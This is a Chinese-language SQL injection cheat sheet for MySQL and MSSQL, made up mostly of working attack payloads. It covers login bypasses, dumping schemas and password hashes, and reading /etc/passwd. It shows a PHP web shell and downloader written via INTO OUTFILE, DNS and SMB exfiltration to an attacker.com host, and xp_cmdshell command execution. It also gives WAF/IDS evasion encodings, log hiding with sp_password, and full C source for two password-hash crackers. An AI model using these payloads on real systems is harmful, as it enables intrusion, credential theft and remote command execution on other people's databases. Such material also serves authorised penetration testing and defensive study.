sql备忘录
MYSQL
默认数据库
mysql | Requires root privileges |
information_schema | Availalble from version 5 and higher |
测试注射
False表示查询无效(MySQL错误/网站上缺少内容)
True表示查询有效(内容像往常一样显示)
字符串
# SELECT * FROM Table WHERE id = '1';
数字
#SELECT * FROM Table WHERE id = 1;
AND 1 | True |
AND 0 | False |
AND true | True |
AND false | False |
1-false | Returns 1 if vulnerable |
1-true | Returns 0 if vulnerable |
1*56 | Returns 56 if vulnerable |
1*56 | Returns 1 if not vulnerable |
例子:
-
-
- SELECT * FROM Users WHERE id = 3-2;
-
笔记:
-
-
true
is equal to 1.false
is equal to 0.
-
登陆框:
# SELECT * FROM Table WHERE username = '';
' OR '1 |
' OR 1 -- - |
" OR "" = " |
" OR 1 = 1 -- - |
'=' |
'LIKE' |
'=0--+ |
例子:
-
- SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
注释
注入后,以下内容可用于注释掉查询的其余部分:
# | Hash comment |
/* | C-style comment |
-- - | SQL comment |
;%00 | Nullbyte |
` | Backtick |
例子:
-
- SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
- SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
笔记:
-
-
- 反引号只能在用作别名时用于结束查询。
-
测试版本
-
-
具体代码
/*!VERSION Specific Code*/
-
例子:
#SELECT * FROM Users limit 1,{INJECTION POINT};
1 /*!50094eaea*/; | False - version is equal or greater than 5.00.94 |
1 /*!50096eaea*/; | True - version is lesser than 5.00.96 |
1 /*!50095eaea*/; | False - version is equal to 5.00.95 |
笔记:
-
-
- 在由于注入位置而无法再向查询添加SQL的情况下,确定版本非常有用。
- 有关MySQL特定代码的更多信息,请参阅特定于MySQL的代码。
-
数据库凭据
Table | mysql.user |
Columns | user, password |
Current User | user(), current_user(), current_user, system_user(), session_user() |
例子:
- SELECT current_user;
- SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
数据库名称
Tables | information_schema.schemata, mysql.db |
Columns | schema_name, db |
Current DB | database(), schema() |
例子:
-
- SELECT database();
- SELECT schema_name FROM information_schema.schemata;
- SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
服务器主机名
- @@HOSTNAME
例子:
- SELECT @@hostname;
服务器MAC地址
通用唯一标识符是128位数字,其中最后12位数字由接口MAC地址组成。
- UUID()
输出:
- aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
笔记:
-
-
- 可能会在某些操作系统上返回48位随机字符串而不是MAC地址。
-
表和列
order & group by
笔记:
-
-
-
- version=10 for MySQL 5
-
-
检索列
-
- SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
例子:
-
- SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
输出:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
- SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
例子:
- SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';
输出:
Table: talk_revisions
Column: revid
Table: talk_revisions
Column: userid
Table: talk_revisions
Column: user
Table: talk_projects
Column: priority
从列名称中查找表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; | Finds the table names for any columns named username. |
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; | Finds the table names for any columns that contain the word user. |
从表名中查找列
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; | Finds the columns for the Users table. |
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; | Finds the column names for any tables that contain the word user. |
找出当前的查询
SELECT info FROM information_schema.processlist | Available starting from MySQL 5.1.7. |
避免引用
SELECT * FROM Users WHERE username = 0x61646D696E | Hex encoding. |
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | CHAR() Function. |
字符串连接
SELECT 'a' 'd' 'mi' 'n'; |
SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); |
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n'); |
笔记:
-
-
CONCAT()
如果任何参数为NULL,则返回NULL。而是使用CONCAT_WS()
。- 第一个参数
CONCAT_WS()
定义了其余参数的分隔符。
-
条件陈述
CASE |
IF() |
IFNULL() |
NULLIF() |
例子:
- SELECT IF(1=1, true, false);
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
定时
SLEEP() | MySQL 5 |
BENCHMARK() | MySQL 4/5 |
例子:
- ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
特权
文件权限
-
-
- 以下查询可帮助确定给定用户的FILE权限。
-
SELECT file_priv FROM mysql.user WHERE user = 'username'; | Root privileges required | MySQL 4/5 |
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; | No privileges required | MySQL 5 |
读取文件
-
-
- 如果用户具有FILE权限,则可以读取文件。
- LOAD_FILE()
-
例子:
- SELECT LOAD_FILE('/etc/passwd');
- SELECT LOAD_FILE(0x2F6574632F706173737764);
笔记:
-
-
- 文件必须位于服务器主机上。
- LOAD_FILE()的基本目录是
@@datadir
。 - 该文件必须是MySQL用户可读的。
- 文件大小必须小于max_allowed_packet。
- 默认大小为
@@max_allowed_packet
1047552字节。
-
写文件
-
- 如果用户具有FILE权限,则可以创建文件。
- INTO OUTFILE/DUMPFILE
- 如果用户具有FILE权限,则可以创建文件。
例子:
- 编写PHP shell:
- SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
- 然后访问:
- http://localhost/shell.php?c=cat%20/etc/passwd
- 要写下载器:
- SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
- 然后访问:
- http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
笔记:
-
-
- 文件无法覆盖
INTO OUTFILE
。 INTO OUTFILE
必须是查询中的最后一个语句。- 无法对路径名进行编码,因此需要引号
- 文件无法覆盖
-
通道
DNS 请求
SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\')); |
SMB 请求
' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt |
堆叠查询
MySQL可以进行堆栈查询,具体取决于PHP应用程序使用哪个驱动程序与数据库进行通信。
该 PDO_MYSQL
驱动程序支持堆查询。该 MySQLi
(改进扩展)驱动程序还支持通过堆查询 multi_query()
功能。
例子:
-
- SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
- SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;
MySQL-specific 代码
MySQL允许您指定感叹号后的版本号。仅当版本大于或等于指定的版本号时,才会执行注释中的语法。
例子:
-
- UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
- SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
笔记:
-
-
- 第一个示例返回版本; 它使用一个有2列的UNION。
- 第二个示例演示了如何绕过WAF / IDS。
-
模糊和混淆
以下字符可用作空格。
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
A0 | Non-breaking Space |
20 | Space |
例子:
-
- '%0A%09UNION%0CSELECT%A0NULL%20%23
括号也可用于避免使用空格。
28 | ( |
29 | ) |
例子:
-
- UNION(SELECT(column)FROM(table))
AND / OR后允许的字符
20 | Space |
2B | + |
2D | - |
7E | ~ |
21 | ! |
40 | @ |
例子:
-
- SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
笔记:
-
-
-
dual
是一个可用于测试的虚拟表。
-
-
用注释混淆
注释可用于分解查询以欺骗WAF / IDS并避免检测。通过使用#或 - 后跟换行符,我们可以将查询拆分为单独的行。
例子:
-
1'# AND 0-- UNION# I am a comment! SELECT@tmp:=table_name x FROM-- `information_schema`.tables LIMIT 1#
URL编码注入看起来像:
-
1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23
某些函数也可以使用注释和空格进行混淆。
-
VERSION/**/%A0 (/*comment*/)
编码
编码注射有时可用于WAF / IDS规避。
URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
避免关键字
如果IDS / WAF已阻止某些关键字,则可以通过其他方式绕过它而不使用编码。
-
information_schema.tables
Spaces | information_schema . tables |
Backticks | `information_schema`.`tables` |
Specific Code | /*!information_schema.tables*/ |
Alternative Names | information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints |
笔记:
-
-
- 备用名称可能取决于表中存在的PRIMARY键。
-
运算符
AND , && |
Logical AND |
= |
Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement) |
:= |
Assign a value |
BETWEEN ... AND ... |
Check whether a value is within a range of values |
BINARY |
Cast a string to a binary string |
& |
Bitwise AND |
~ |
Invert bits |
| |
Bitwise OR |
^ |
Bitwise XOR |
CASE |
Case operator |
DIV |
Integer division |
/ |
Division operator |
<=> |
NULL-safe equal to operator |
= |
Equal operator |
>= |
Greater than or equal operator |
> |
Greater than operator |
IS NOT NULL |
NOT NULL value test |
IS NOT |
Test a value against a boolean |
IS NULL |
NULL value test |
IS |
Test a value against a boolean |
<< |
Left shift |
<= |
Less than or equal operator |
< |
Less than operator |
LIKE |
Simple pattern matching |
- |
Minus operator |
% or MOD |
Modulo operator |
NOT BETWEEN ... AND ... |
Check whether a value is not within a range of values |
!= , <> |
Not equal operator |
NOT LIKE |
Negation of simple pattern matching |
NOT REGEXP |
Negation of REGEXP |
NOT , ! |
Negates value |
|| , OR |
Logical OR |
+ |
Addition operator |
REGEXP |
Pattern matching using regular expressions |
>> |
Right shift |
RLIKE |
Synonym for REGEXP |
SOUNDS LIKE |
Compare sounds |
* |
Multiplication operator |
- |
Change the sign of the argument |
XOR |
Logical XOR |
常量
current_user |
null, \N |
true, false |
密码哈希
在MySQL 4.1之前,由PASSWORD()函数计算的密码哈希长度为16个字节。这样的哈希看起来像这样:
PASSWORD('mypass') | 6f8c114b58f2ce9e |
从MySQL 4.1开始,PASSWORD()函数已被修改为产生更长的41字节哈希值:
PASSWORD('mypass') | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
密码破解
Cain&Abel和John the Ripper都能够破解MySQL 3.x-6.x密码。
可以在此处找到JTR的Metasploit模块。
MySQL < 4.1 Password Cracker
这个工具是一个用于MySQL哈希密码的高速暴力密码破解程序。它可以在普通PC上在几小时内打破包含任何可打印ASCII字符的8个字符的密码。

/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast * $ MySQLfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; }
MSSQL
默认数据库
pubs | Not available on MSSQL 2005 |
model | Available in all versions |
msdb | Available in all versions |
tempdb | Available in all versions |
northwind | Available in all versions |
information_schema | Availalble from MSSQL 2000 and higher |
注释掉查询
注入后,以下内容可用于注释掉查询的其余部分:
/* | C-style comment |
-- | SQL comment |
;%00 | Nullbyte |
例子:
-
- SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
- SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';
测试版本
- @@VERSION
例子:
- 如果MSSQL版本是2008,则为True
- SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';
笔记:
-
-
- 输出还将包含Windows操作系统的版本。
-
数据库凭据
Database..Table | master..syslogins, master..sysprocesses |
Columns | name, loginame |
Current User | user, system_user, suser_sname(), is_srvrolemember('sysadmin') |
Database Credentials | SELECT user, password FROM master.dbo.sysxlogins |
例子:
-
- 返回当前用户:
- SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
-
- 检查用户是否是管理员:
- SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
数据库名称
Database.Table | master..sysdatabases |
Column | name |
Current DB | DB_NAME(i) |
例子:
-
- SELECT DB_NAME(5);
- SELECT name FROM master..sysdatabases;
服务器主机名
@@SERVERNAME |
SERVERPROPERTY() |
例子:
-
- SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
笔记:
-
-
- SERVERPROPERTY()可从MSSQL 2005及更高版本获得。
-
表和列
确定列数
-
-
-
-
ORDER BY n+1;
-
-
-
例子:
# SELECT username, password, permission FROM Users WHERE id = '1';
1' ORDER BY 1-- | True |
1' ORDER BY 2-- | True |
1' ORDER BY 3-- | True |
1' ORDER BY 4-- | False - Query is only using 3 columns |
-1' UNION SELECT 1,2,3-- | True |
笔记:
-
-
- 继续增加数字,直到得到错误的回复。
-
以下内容可用于获取当前查询中的列
-
-
-
GROUP BY / HAVING
-
-
例子:
#SELECT username, password, permission FROM Users WHERE id = '1';
1' HAVING 1=1-- | Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1' GROUP BY username HAVING 1=1-- | Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1' GROUP BY username, password HAVING 1=1-- | Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1' GROUP BY username, password, permission HAVING 1=1-- | No Error |
笔记:
-
-
-
- 一旦包含所有列,将不会返回任何错误。
-
-
检索表
我们可以从两个不同的数据库中检索表,info_schema.tables或master..sysobjects。
笔记:
-
-
-
- Xtype ='U'用于用户定义的表。您可以使用“V”查看视图。
-
-
检索列
我们可以从两个不同的数据库中检索列,即information_schema.columns或masters..syscolumns。
一次检索多个表/列
以下3个查询将创建临时表/列,并将所有用户定义的表插入其中。然后它将转储表内容并通过删除表完成。
-
-
-
- 创建临时表/列并插入数据:
- AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
-
-
- 转储内容:
- AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
-
- 删除表:
- AND 1=0; DROP TABLE TMP_DB;
-
从MSSQL 2005及更高版本开始,可以使用更简单的方法。XML函数path()用作连接器,允许使用1个查询检索所有表。
SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') | SQL Server 2005+ |
笔记:
-
-
-
- 您可以使用十六进制对查询进行编码,以“混淆”您的攻击
- ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
-
-
避免引用
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110) |
字符串连接
SELECT CONCAT('a','a','a'); (SQL SERVER 2012) |
SELECT 'a'+'d'+'mi'+'n'; |
条件陈述
IF |
CASE |
例子:
-
- IF 1=1 SELECT 'true' ELSE SELECT 'false';
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
笔记:
-
-
- IF不能在SELECT语句中使用。
-
定时
- WAITFOR DELAY 'time_to_pass';
- WAITFOR TIME 'time_to_execute';
例子:
-
- IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
OPENROWSET攻击
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"'); |
系统命令执行
包括一个名为xp_cmdshell的扩展存储过程,可用于执行操作系统命令。
- EXEC master.dbo.xp_cmdshell 'cmd';
从版本MSSQL 2005及更高版本开始,默认情况下禁用xp_cmdshell,但可以使用以下查询激活:
EXEC sp_configure 'show advanced options', 1 |
EXEC sp_configure reconfigure |
EXEC sp_configure 'xp_cmdshell', 1 |
EXEC sp_configure reconfigure |
或者,您可以创建自己的过程以获得相同的结果:
DECLARE @execmd INT |
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT |
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c' |
如果SQL版本高于2000,则必须运行其他查询才能执行上一个命令:
EXEC sp_configure 'show advanced options', 1 |
EXEC sp_configure reconfigure |
EXEC sp_configure 'OLE Automation Procedures', 1 |
EXEC sp_configure reconfigure |
例子:
-
- 检查xp_cmdshell是否已加载,如果是,则检查它是否处于活动状态,然后继续运行'dir'命令并将结果插入TMP_DB:
- ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
-
- 转储内容
- ' UNION SELECT tbl FROM TMP_DB--
-
- 删除表
- ' DROP TABLE TMP_DB--
SP_PASSWORD(隐藏查询)
将sp_password附加到查询的末尾会将其作为安全措施从T-SQL日志中隐藏。
-
-
- SP_PASSWORD
-
例子:
-
- ' AND 1=1--sp_password
输出:
- 在此事件的文本中找到了“sp_password”。 - 出于安全原因,该文本已被此注释替换。
堆叠查询
MSSQL支持堆栈查询。
例子:
- ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
模糊和混淆
以下字符可用作空格。
01 | Start of Heading |
02 | Start of Text |
03 | End of Text |
04 | End of Transmission |
05 | Enquiry |
06 | Acknowledge |
07 | Bell |
08 | Backspace |
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
0E | Shift Out |
0F | Shift In |
10 | Data Link Escape |
11 | Device Control 1 |
12 | Device Control 2 |
13 | Device Control 3 |
14 | Device Control 4 |
15 | Negative Acknowledge |
16 | Synchronous Idle |
17 | End of Transmission Block |
18 | Cancel |
19 | End of Medium |
1A | Substitute |
1B | Escape |
1C | File Separator |
1D | Group Separator |
1E | Record Separator |
1F | Unit Separator |
20 | Space |
25 | % |
例子:
- S%E%L%E%C%T%01column%02FROM%03table;
- A%%ND 1=%%%%%%%%1;
笔记:
-
-
- 关键字之间的百分比符号仅适用于ASP(x)Web应用程序。
-
以下字符也可用于避免使用空格。
22 | " |
28 | ( |
29 | ) |
5B | [ |
5D | ] |
例子:
- UNION(SELECT(column)FROM(table));
- SELECT"table_name"FROM[information_schema].[tables];
AND / OR后允许的字符
01 - 20 | Range |
21 | ! |
2B | + |
2D | - |
2E | . |
5C | \ |
7E | ~ |
例子:
- SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
笔记:
-
-
- The backslash does not seem to work with MSSQL 2000.
-
编码
编码注射有时可用于WAF / IDS规避。
URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
Hex Encoding | ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);-- |
HTML Entities (Needs to be verified) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |
密码哈希
密码以0x0100开头,0x后面的字节的第一个是常量; 接下来的8个字节是散列盐,剩下的80个字节是两个散列,前40个字节是密码的区分大小写的散列,而后40个字节是大写的。
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457 |
密码破解
可以在此处找到JTR的Metasploit模块。
MSSQL 2000密码破解程序
此工具旨在破解Microsoft SQL Server 2000密码。

///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <windows.h> #include <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield (david@ngssoftware.com)\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)!=4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)!=8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)!=40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)!=40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format!\n"); } printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!"); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(!fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn't find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0; } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We've found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; }
Oracle
默认数据库
SYSTEM | Available in all versions |
SYSAUX | Available in all versions |
注释
注入后,以下内容可用于注释掉查询的其余部分:
